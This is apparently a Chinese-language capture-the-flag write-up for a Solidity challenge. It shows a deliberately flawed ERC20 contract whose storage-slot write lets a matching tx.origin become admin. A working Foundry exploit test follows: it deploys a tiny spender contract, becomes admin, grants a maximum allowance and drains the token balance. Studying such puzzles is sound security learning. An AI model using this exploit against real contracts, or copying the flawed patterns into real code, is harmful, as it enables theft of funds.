CTF-ApproveMain

题目的源代码:

pragma solidity ^0.8.0;

// ERC20
contract Cert{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;
address public admin;

struct AddressSlot {
address value;
}

// 预挖给msg.sender 100个代币
constructor () {
_mint(msg.sender, 100*10**18);
}


modifier safeCheek(address spender, uint256 amount) {
if (uint160(tx.origin) & 0xffffff != 0xbeddC4 || tx.origin == admin) {
_;
} else {
grant(spender, amount);
}
}

// 将第amount个slot的值设置为tx.origin
function grant(address spender, uint256 amount) internal {
// spender必须是一个合约,并且代码长度得小于10,长度限制挺苛刻的
require(spender.code.length > 0 && spender.code.length < 10);
AddressSlot storage r;
bytes32 slot = bytes32(amount);
assembly {
r.slot := slot
}
r.value = tx.origin;
}

function totalSupply() public view returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}

function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}

function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public safeCheek(spender,amount) returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}

function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}

function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}

function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
}

function _approve(
address owner,
address spender,
uint256 amount
) internal {
if(tx.origin==admin){
require(msg.sender.code.length>0);
_allowances[spender][tx.origin] = amount;
return;
}
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}

function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}

contract ApproveMain {
Cert public cert;
bool public isComplete;
event sendflag(address user);

// 新建一个ERC20代币,本合约拥有1000个代币
constructor() {
cert = new Cert();
}

// 任务:将本合约的代币归零
function Complete() public returns(bool) {
if (cert.balanceOf(address(this)) == 0){
isComplete = true;
emit sendflag(msg.sender);
}
return isComplete;
}

// 每次只能拿走一半,永远也拿不完
function getToken() public {
require(cert.transfer(msg.sender, cert.balanceOf(address(this)) / 2));
}
}

题目要求就是将合约中的余额变为零

这个题有俩个合约,一个实现了ERC20代币的基本功能,一个就是题目合约
这题有个getToken函数但是永远也取不完这个token,所以就只能看看这个ERC20代币的具体实现功能了

这题就是要成为admin,才能有权力调走这些token,

其实就是要进入这个function grant(address spender, uint256 amount)
这个函数,然后修改admin就可以了

但是注意这个tx.origin的要求是它的低3字节必须满足beddC4

(由于我没有学过p语言,就是无法爆破这个tx.origin)

看来正确的题解,思路源头一样,就是我找不到这个地址,

看了题解原来这个地址就是我们在remix常用的账户0x5B38Da6a701c568545dCfcB03FcB875f56beddC4满足这个条件,

这下就简单了。获得admin后,使用授权和发送代币,就能发送所有的代币出去

function _approve(
address owner,
address spender,
uint256 amount
) internal {
if(tx.origin==admin){
require(msg.sender.code.length>0);
_allowances[spender][tx.origin] = amount;
return;
}
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}

但是这个题,又有一个转弯的地方,要求msg.sender的代码[0,10],所以我们就只能再编写一个合约来帮助我们实现了
测试合约

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "src/ApproveMain.sol";

contract attackTest is Test {

ApproveMain approveMain;
Cert cert;

function setUp() public{
// 初始化题目
approveMain = new ApproveMain();
cert = approveMain.cert();
}

function test_isComplete() public {
console.log("[before attack] level balance:",cert.balanceOf(address(approveMain)));

// 1.创建一个合约用来作为spender
address spender;
{
bytes memory bytecode = hex"600180f3";
assembly {
spender := create(0, add(bytecode, 0x20), mload(bytecode))
}
console.log("spender's length:",spender.code.length);
}

// 2.符合条件的EOA账户调用
vm.startBroadcast(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);

// 3.EOA账户成为admin
cert.approve(address(spender),uint256(3));

// 4.使用Helper帮助我们授权
Helper helper = new Helper();
helper.attack(address(cert),address(approveMain));

// 5.授权完成之后,我们的EOA账户就可以取钱了
cert.transferFrom(address(approveMain),address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4),cert.balanceOf(address(approveMain)));

// 6.检查是否完成题目
assertEq(approveMain.Complete(),true);
console.log("[after attack] level balance:",cert.balanceOf(address(approveMain)));

vm.stopBroadcast();
}

}

contract Helper{
function attack(address _addr, address _to) public{
Cert(_addr).approve(_to,type(uint256).max);
}
}